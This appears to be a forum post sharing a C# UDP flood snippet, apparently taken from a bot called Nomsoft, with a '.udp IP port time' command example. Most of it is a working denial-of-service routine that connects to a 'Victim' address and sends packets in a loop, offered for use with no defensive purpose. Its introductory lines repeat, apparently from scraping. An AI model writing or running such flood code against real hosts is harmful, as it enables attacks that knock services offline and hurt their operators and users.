Hyperion
Founder
Another snippet from Nomsoft.
This UDP flood works by IP, port, amount of time
ie: .udp 127.0.0.1 80 500
Used references:
The script:
This UDP flood works by IP, port, amount of time
ie: .udp 127.0.0.1 80 500
Used references:
Code:
using System;
using System.Net;
using System.Text;
using System.Net.Sockets;
The script:
Code:
public class UDP
{
public static bool udeepee(string ip, int Port, string data, int Counter)
{
bool udpinfo = false;
try
{
System.Net.Sockets.UdpClient udpClient = new System.Net.Sockets.UdpClient();
IPAddress Victim = null;
byte[] ByteCmd = new byte[0];
int i = 0;
Victim = IPAddress.Parse(ip);
udpClient.Connect(ip, Port);
ByteCmd = Encoding.ASCII.GetBytes(data);
while (!(i > Counter))
{
System.Windows.Forms.Application.DoEvents();
udpClient.Send(ByteCmd, ByteCmd.Length);
i = i + 1;
}
udpClient.Close();
udpClient = null;
udpinfo = true;
}
catch (Exception ex)
{
udpinfo = false;
}
return udpinfo;
}
}